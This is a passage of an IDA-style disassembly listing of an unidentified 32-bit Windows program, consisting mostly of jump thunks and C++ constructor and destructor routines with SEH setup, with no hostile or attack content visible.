sub_41BFA0 sub_402004 endp ; --------------------------------------------------------------------------- off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086B7p ; ___:004086DCp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp sub_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F60 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr 